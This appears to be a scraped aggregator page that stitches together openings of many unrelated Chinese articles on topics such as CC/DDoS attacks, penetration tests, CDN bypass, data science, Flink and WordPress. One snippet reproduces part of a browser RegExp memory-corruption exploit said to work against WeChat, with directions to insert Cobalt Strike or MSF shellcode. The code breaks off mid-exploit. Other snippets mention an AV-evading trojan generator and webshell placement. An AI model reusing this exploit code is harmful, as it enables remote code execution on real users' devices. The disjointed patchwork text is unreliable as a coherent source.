CC攻击其实也是DDOS的其中一种，CC攻击的原理是利用大量的代理ip，不停的向网站发起数据包，这些请求是真实的，如果网站瞬间收到大量的请求，会导致服务器资源耗尽，直到网站崩溃，因为CC攻击的门槛比较低，一般稍微懂一点计算机基础的人，利用CC攻击软件也能向网站发起CC攻击。
针对CC攻击，应该如何做好有效的CC防护？信息安全三要素——“保密性”、“完整性”和“可用性”中，传统拒绝服务攻击针对的目标正是系统“可用性”。因为CC攻击来的IP都是真实的、分散的，且CC攻击的请求，全都是有效的请求，无法拒绝的请求。
不久前发了篇文章，关于什么是DDoS 攻击的文章，后来看到有人要求说讲讲CC 攻击，于是便有了这篇文章
现在只对常读和星标的公众号才展示大图推送，建议大家把betasec“设为星标”，否则可能看不到了！
Date/time：2016年，这次遇到的问题有些奇葩，这里简单记录下测试过程。已经拿到目标主机最高权限，但是在转发3389端口时遇到了问题。
这篇文章由“潇湘信安技术交流群”@嘞萌师傅投稿，@3h整理发布，记录的是他在无意中发现的一个新型钓鱼诈骗方式，从技术层面简单分析了下。
本文由群友@moshang原创投稿，内容较为基础，作者只是分享他的一次实战记录，请勿乱喷！
因为浏览器同源策略的关系，只有同协议、域名、端口的页面才能进行交互，否则会被浏览器拒绝。现有两个页面，分别为111.example.com和example.com，两个页面是不同的域名，不能进行交互，但是可以在111.example.com使用以下代码设置同域，这样即可实现一个跨子域的交互。
manjusaka牛屎花是一款基于WEB界面的远程主机管理工具，系统架构见下图。
作者：Ketan Doshi 翻译：欧阳锦校对：和中华 本文约3800字，建议阅读10分钟本文通过可视化的方式清晰地展示了Transformer的工作本质，并从本质中探索了它具有优良表现的原因。
这篇文章来自老应急师@沉默树人老哥投稿，同时也给大家分享一个学习流量包分析和恶意文件分析的网站：https://www.malware-traffic-analysis.net/
CDN 的全称是Content Delivery Network（内容分发网络），通过在网络各处的加速节点服务器来为网站抵挡恶意流量，把正常流量进行转发。用简单点的话来说，CDN一般有三个作用
类比到C++中，他会你不知情的情况下，自动为你准备好①无参构造函数、②空析构函数、③复制构造函数、④赋值操作符函数等一系列基本类成员方法。你说他这是一种温柔贴心呢，还是一种自作多情呢？
据IBM的介绍，探索性数据分析（EDA）是数据科学家用来分析和研究数据集并总结其主要特征的一种方法，通常采用数据可视化技术。因此可以说，EDA 是通过创建可视化和摘要来研究和理解数据集的过程。
为什么我一直推荐使用谷歌浏览器呢，某些浏览器会自作主张封杀某些域名，还经常弹各种广告，当然更主要的是方便我使用谷歌搜索。
作者：Matteo Courthoud 翻译：陈超校对：赵茹萱本文约7700字，建议阅读15分钟本文从可视化绘图视角和统计检验的方法两种角度介绍了比较两个或多个数据分布形态的方法。 从可视化到统计检验全方位分布形态比较指南： 图片来自作者 比较同一变量在不同组别之间的经验分布是数据科学当中的常见问题，尤其在因果推断中，我们经常在需要评估随机化质量时遇到上述问题。 我们想评估某一政策的效果（或者用户体验功能，广告宣传，药物，……），因果推断当中的金标准就是随机对照试验，也叫作A/B测试。在实际情况下，我们会
"态势感知"于美国空军提出，包括“感知、理解、预测”三个层次。在目前的一些安全系统中，实际仅做到了“感知”。借用客户一句话，安全的核心技术实际还在国外，今天从我们自己做起，来点滴学习安全知识。
我来自意大利，可以肯定的说，咖啡就是信仰。我们喝咖啡来社交，在早上喝来唤醒我们，在午餐、晚餐后也会喝咖啡。如果好久未见某个朋友，我们会说
我们在渗透测试中长做的第一步就是找到目标的真实IP，随着网络环境、软件体系架构的越来越复杂，找到真实的主机IP也越来越变得复杂困难。CDN 负载均衡器都可以混淆目标主机的真实IP地址。
google developers 官方文档: https://developers.google.com/web/tools/chrome-devtools/
作者：Maarten Grootendorst 翻译：陈超校对：赵茹萱 本文约3200字，建议阅读5分钟本文介绍了使用图片主题进行建模。
对于还没听说过Midjourney的人，这里有一句话介绍：Midjourney是一个文字-图片生成APP，类似于OpenAI的DALLE-2和Stable Diffusion的DreamStudio，使用了大量网络图片（大约6亿5千万）——基于提供的文字线索生成令人惊艳的图片。现在进入了测试阶段——但是每周都会增加更多的特征……并且未来还有待想象！（目前他们的AI引擎到了3.0版本）。
声明：该公众号大部分文章来自作者日常学习笔记，也有部分文章是经过作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。
Flink 的 Web 界面提供了选项卡/标签（tab）来监视作业的 checkpoint 信息。作业终止后，这些统计信息仍然可用。有四个不同的选项卡可显示有关 checkpoint 的信息：概览（Overview），历史记录（History），摘要信息（Summary）和配置信息（Configuration）。以下各节将依次介绍这些内容。
（其中值得注意的时，页面默认会保存10个弹幕，我的方法是迭代的时候，取最后一个，然后if简单判断不重复打印）
我是R语言的忠实粉丝，并且靠它吃饭。特别提一下Tidyverse，它是一个功能强大、简洁易懂且文档齐全的数据科学平台。我在此向每一位初学者强烈推荐免费的在线电子书R for Data Science。
使用Burpsuite进行渗透测试时经常会遇到的这两个场景：1.目标站点在国内，但测试时不想暴露自己的真实IP，或者仅允许指定的白名单IP才能访问，2.目标站点在国外，需要翻墙后才能访问。
知识星球看到@紫陌师傅分享的一篇《利用IIS虚拟目录绕过os-shell中文目录》，所以想着对他文中提到的利用Adsutil.vbs脚本创建虚拟目录写马至中文路径的方式进行复现，但仅适用于低版本IIS，高版本要用appcmd。
Date/time：2013年，这次的目标就是这台服务器权限，接下来这篇文章会写出在此次渗透中遇到的一些阻碍分析及最终拿到服务器权限的过程。其实这次的渗透应该来说还是挺简单的，都是常规的渗透思路，这次的渗透再次证明了细心、耐心和经验的重要性！
本来在一个平淡的夜晚，困了。找个小游戏玩一玩提提神，“羊了个羊”？看着还行，玩一玩第一关，这么简单，都给我整困了，一会能睡个好觉了，第二关，哎，这游戏有点意思哈。。。
何为DDOS：DDOS被称为分布式拒绝服务攻击，目的主要是让指定目标无法正常提供服务，是目前最强大，最难防御的攻击之一，是一个世界性的难题，并没有一个好的解决办法只能缓解
基于我之前的博客文章，我在其中解释了如何利用 Shodan 搜索过滤器进行简单的 Shodan 搜索。事实证明，这些搜索对于蓝队识别可能构成安全风险的异常互联网暴露实例而言是有利的。
在一次护网行动中再次深刻意识到了信息收集对于渗透测试整个流程的重要性，信息收集的完整性决定了你的渗透测试结果，“知己知彼，百战不殆”。
① 输出数据 (+) ② 输出数据 (-) ③ 输入数据 (+) ④ 保留网络传输 ⑤ 保留网络传输 ⑥ 输入数据 (-) ⑦ 保留网络传输 ⑧ 保留网络传输 所以从上面就可以看出，1和2是用来发送数据，3和6是用来接收数据的。
2、漏洞复现 这里微信的利用方式与Chrome差不多，就不再详细写具体步骤了，只需要将以下EXP中的第5行shellcode替换为我们CS或MSF生成的32位C# Payload即可。 ENABLE_LOG = true; IN_WORKER = true; // run calc and hang in a loop var shellcode = [ ]; function print(data) { } var not_optimised_out = 0; var target_function = (function (value) { if (value == 0xdecaf0) { not_optimised_out += 1; } not_optimised_out += 1; not_optimised_out |= 0xff; not_optimised_out *= 12; }); for (var i = 0; i < 0x10000; ++i) { target_function(i); } var g_array; var tDerivedNCount = 17 * 87481 - 8; var tDerivedNDepth = 19 * 19; function cb(flag) { if (flag == true) { return; } g_array = new Array(0); g_array[0] = 0x1dbabe * 2; return 'c01db33f'; } function gc() { for (var i = 0; i < 0x10000; ++i) { new String(); } } function oobAccess() { var this_ = this; this.buffer = null; this.buffer_view = null; this.page_buffer = null; this.page_view = null; this.prevent_opt = []; var kSlotOffset = 0x1f; var kBackingStoreOffset = 0xf; class LeakArrayBuffer extends ArrayBuffer { constructor() { super(0x1000); this.slot = this; } } this.page_buffer = new LeakArrayBuffer(); this.page_view = new DataView(this.page_buffer); new RegExp({ toString: function () { return 'a' } }); cb(true); class DerivedBase extends RegExp { constructor() { // var array = null; super( // at this point, the 4-byte allocation for the JSRegExp `this` object // has just happened. { toString: cb }, 'g' // now the runtime JSRegExp constructor is called, corrupting the // JSArray. ); // this allocation will now directly follow the FixedArray allocation // made for `this.data`, which is where `array.elements` points to. this_.buffer = new ArrayBuffer(0x80);
经常，我们在写文章时，一定会插上一张图片，或者上传一张图片作为特色图片。细心的朋友可能就发现，在upload文件夹里面，会出现3个尺寸的图片。这是为什么了？其实，那是wordpress在你上传图片时自动生成的。这样做的坏处，最直接就是白白占据了大量的服务器容量，对于只是用几百兆容量虚拟主机的朋友来说，这更是十分可恶的。
本书是根据JavaScript语言的特性专门针对JavaScript语言全面总结的设计模式。全书共分为三个部分，一部分讲解了JavaScript语言面向对象和函数式编程的知识及其在设计模式方面的作用；二部分通过一步步完善的代码示例，由浅入深地讲解了16个设计模式；三部分讲述了面向对象的设计原则及其在设计模式中的体现，以及一些常见的面向对象编程技巧和日常开发中的代码重构。
腾讯 VS 头条系（字节跳动），大战刚刚正式开打，感觉就要一触即发，腾讯刚刚举起刀，还没来得及冲过去，可是，就在这时，说时迟那时快，头条系下的抖音就自己开枪自杀了。这剧情，比小说还无厘头。
安全市场的不透明导致了人们本身对隐私问题的担忧。软件技术智能化发展的同时，很多软件省掉了和用户打招呼就开始自作主张动用客户隐私数据。随着云技术的发展，本地安全和隐私越来越界限模糊。不只是360，我们的智能输入法，搜索引擎，广告供应商，邮箱，即使通讯软件以及电子商务系统等等，都在收集用户相关或不相关的隐私。进行云端统计和分析，然后针对性的优化服务或者针对性的窃取隐私。包括智能手机系统，要放弃智能和保证安全付出的代价就是不安全和复杂的操作。我们需要适当的智能化和个性化服务，但是我们不能容忍我们隐私的泄露与非法入
总结：虚拟机更擅长于彻底隔离整个运行环境。例如，云服务提供商通常采用虚拟机技术隔离不同的用户；而 Docker 通常用于隔离不同的应用 ，例如前端，后端以及数据库。
版权声明：本文为耕耘实录原创文章，各大自媒体平台同步更新。欢迎转载，转载请注明出处，谢谢。
@Zack 师傅写的一款红队专用免杀木马生成器，采用 PEM 加密动态嵌入 XOR 的方式生成木马，生成木马可以自定义名称和ICO图标。
前段时间在知乎看到这个问题「想请教现在的在职程序员第一次编程入门的是怎样的？」，现在又到了大学新生入学的日子，这里把答案贴过来（会有很多外链，可以拖到文章末尾点击阅读原文进文章），希望对大家有所帮助。
由于我们的项目底层使用到一个通过LogicalCallContext实现的上下文数据管理框架，导致所有的Unit Test不能正常运行。具体的现象在《只在UnitTest和WebHost中的出现的关于LogicalCallContext的严重问题》有过详细的介绍。解决的方案就是对相关的程序集进行强签名，并加到GAC中，是Unit Test能够识别基于LogicalCallContext项目的类型。有了Visual Studio这个强大的IDE，程序集的签名工作很好实现——仅仅需要在Project的Prope
众所周知，WordPress的侧边栏和文章不能够直接运行自定义的php代码，reizhi今天给各位介绍一个插件，它能改变这一现状。
启动CobaltStrike4.2客户端时出现下图报错，一闪就退了。平时内存小的时候我把一些应用关了就行，但现在内存只用了60%也启动不了，这是因为JWT的动态内存扩展机制，会产生内存虚高问题。
volatile 关键字是最常问到的问题，关于这个关键字的作用解释，网上的文章已经多如牛毛了。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
即时通信 IM
对象存储
